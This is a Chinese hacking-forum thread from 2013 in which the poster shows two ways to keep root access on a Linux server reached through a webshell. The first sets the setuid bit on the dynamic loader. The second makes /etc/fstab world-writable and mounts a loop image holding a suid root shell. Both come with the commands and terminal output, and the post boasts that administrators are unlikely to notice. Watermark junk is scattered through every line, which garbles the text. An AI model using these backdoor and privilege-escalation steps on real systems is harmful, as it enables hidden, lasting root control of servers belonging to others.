找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3283|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
9 j" w& o" ]- m
8 P8 J9 A0 n' a5 d( g( f+ L. D[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究! t% d1 N8 E$ z/ A) r
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
8 e3 B( H3 ^% d8 Y# k! h' ulrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究( v0 t5 c! b! u
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究  @6 N  q* `$ c4 F) a
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究$ @$ w+ S+ p# h, d
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究+ j7 v/ Y7 J9 \+ ?
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究7 h8 ^2 Y3 W5 Z2 D. s& c& l
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
, Q3 p# Z/ `7 g/ L/ S7 a我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
0 R+ I5 ~  d7 p& c" x- l+ T8 n% M- U
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究9 Q" O& K" L8 B/ u  @8 t) L4 Y
, l) m- N- J$ `+ v/ p
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究9 a' `9 @0 F5 V! C
xiaoyu2ezX-BUG-关注前沿信息安全技术研究! k; B$ u1 K" w, [5 u
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究/ A( u  I' v4 m3 A. t
root2ezX-BUG-关注前沿信息安全技术研究/ ]! s( ?! z* x; c* S
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
5 ~* [9 {+ J, n恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
8 t8 c. Q+ m! O" g; Y* g- Y4 n4 ^3 E  m6 N; J
方法二:2ezX-BUG-关注前沿信息安全技术研究$ P6 [+ w" H  G% l" _* b
  M# l: G$ Q/ U. H) `9 ~
看过程:2ezX-BUG-关注前沿信息安全技术研究+ {1 f" b6 u) x9 Y: [% L" _

3 f5 _# n, g* F$ u& o2 b[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
9 \5 u6 v1 O  k. x7 n' n/ w% i5 U[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究5 C0 l" u+ q8 u! ^6 a8 \3 p4 a: d
7 P' X$ e( V9 |7 M2 d$ B) `  l
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究4 P' ]0 M9 |7 _& o+ K

: U# m% u3 A) L" \- V, `[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
; f8 f" h! d8 L4 Y" l-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究; {7 z# s3 \3 U. E1 x2 M# ^
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
! n* I2 d! w" R: ^+ Q5 Z. a$ z( v1 z' _2 h, s$ O3 R1 }
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究+ u5 Z' u  M2 U" V

# C) x5 \$ ~% T" o3 a[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
% y4 Q* V( _% T9 |. {& _  N, D-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究% {! o3 Q/ c: C4 i: c
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究/ G, {, [8 s) Z7 K) S
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究7 G9 D* Z3 t3 F
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究' J7 c4 c$ K) l; X+ e; q4 g
total 182ezX-BUG-关注前沿信息安全技术研究
% P) C. L: s8 Ndrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究* I3 z6 s3 O6 Z+ ~  T0 v0 E
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究$ m9 |' @7 h% I; |% a! t- j4 j
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究* T( d8 X# X  g4 K: U7 c% R( E
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
' d. O, [! f$ p! \看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究/ p  u! F1 b) C7 e( h
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
9 \$ z4 z; F$ I3 b
! y8 Z8 \4 P2 E貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究: B7 M( N- m! `0 Z
2ezX-BUG-关注前沿信息安全技术研究- r: e; l  @; q
$ T. Q  y" a- Y8 P$ P3 L+ u! Z
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表